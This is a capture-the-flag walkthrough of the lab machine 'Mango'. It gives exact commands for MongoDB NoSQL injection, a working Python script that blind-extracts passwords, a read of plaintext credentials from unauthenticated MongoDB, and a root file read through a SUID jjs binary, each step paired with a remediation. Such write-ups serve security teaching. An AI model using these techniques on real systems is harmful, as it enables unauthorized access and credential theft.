Mango
Summary
Target Conquest Mango ($TARGET) was fully compromised through a chain of three distinct weaknesses. Inspecting the HTTPS TLS certificate disclosed an internal virtual hostname — staging-order.mango.htb — hosting a PHP login form backed by MongoDB.
That form passed raw POST parameters into MongoDB queries without sanitization, enabling NoSQL operator injection that blind-extracted the OS password for local user 'mango'. From that SSH foothold, a MongoDB instance bound to localhost with authentication entirely disabled exposed the plaintext OS password for a second account, 'admin', stored directly in the application database.
Switching to 'admin' captured the user flag. A final escalation abused a SUID-root copy of Oracle's Nashorn JavaScript engine (jjs) — shipped with OpenJDK 11 — to run arbitrary Java file I/O as root and read /root/root.txt, achieving full system compromise without cracking a hash or exploiting a kernel vulnerability.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 4
Initial service version fingerprint across all open ports.
$ nmap -sV -p22,80,443 $TARGETExtract the Subject CN from the server certificate — reveals staging-order.mango.htb.
$ openssl s_client -connect $TARGET:443 -servername $TARGET </dev/null 2>/dev/null | openssl x509 -noout -subjectRegister the discovered hostname for local resolution.
$ echo "$TARGET staging-order.mango.htb mango.htb" | sudo tee -a /etc/hostsConfirm the staging login form is reachable via the discovered vhost.
$ curl -sk https://staging-order.mango.htb/ | grep -i 'form\|input\|login'FixRemove internal hostnames from public-facing TLS certificatesMedium
Exact commands 3
Confirm the injection point — a 302 redirect to home.php proves MongoDB operators executed instead of a literal comparison.
$ curl -sk -X POST 'https://staging-order.mango.htb/' -d 'username[$ne]=x&password[$ne]=x&login=login' -L -D - | head -10Single-character regex probe: a non-zero count means 'h' is the first character of mango's password. Iterate prefix + candidate char for each position.
$ curl -sk -X POST 'https://staging-order.mango.htb/' -d 'username=mango&password[$regex]=^h&login=login' -L | grep -c logoutFull blind extraction loop — iterates printable characters at each password position and prints the recovered credential for each account.
$ python3 - <<'PYEOF'
import requests, string, urllib3
urllib3.disable_warnings()
url = 'https://staging-order.mango.htb/'
for user in ['mango', 'admin']:
pwd = ''
while True:
hit = False
for c in string.printable.strip():
data = {'username': user, 'password[$regex]': '^' + pwd + c, 'login': 'login'}
r = requests.post(url, data=data, verify=False, allow_redirects=True)
if 'home' in r.url:
pwd += c; hit = True; break
if not hit:
break
print(user + ':' + pwd)
PYEOFFixParameterize MongoDB queries to prevent NoSQL injectionCritical
Exact commands 1
Verify interactive shell access as mango using the injected credential.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password mango@$TARGET 'id; hostname'
uid=1000(mango) gid=1000(mango)Exact commands 2
Connect to MongoDB without any credentials from mango's SSH session and list all databases.
$ mongo --quiet --eval "db.adminCommand({listDatabases:1}).databases.forEach(function(d){print(d.name)})"Dump the mango application database's users collection — returns plaintext OS credentials for both local accounts.
$ mongo --quiet mango --eval "db.users.find({},{username:1,password:1,_id:0}).forEach(printjson)"FixEnable MongoDB authentication and remove plaintext OS credential storageCritical
Exact commands 1
-tt forces PTY allocation so su does not reject the session; printf pipes the admin password to su's password prompt.
$ printf '%s\n' "$PASSWORD2" | sshpass -p "$PASSWORD" ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password mango@$TARGET "su admin -c 'id; cat /home/admin/user.txt'"Exact commands 2
From admin's session — enumerate all SUID binaries; look for jjs under the JVM installation path.
$ find / -perm -4000 -type f 2>/dev/nullRuns as effective UID 0 via the SUID bit; prints the first line of /root/root.txt. Replace the path to read any root-owned file.
$ echo 'var BufferedReader = Java.type("java.io.BufferedReader"); var FileReader = Java.type("java.io.FileReader"); var br = new BufferedReader(new FileReader("/root/root.txt")); print(br.readLine());' | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjsFixRemove the SUID bit from the JDK Nashorn interpreter (jjs)High
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 |
| 443/tcp | ssl/http Apache httpd 2.4.29 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.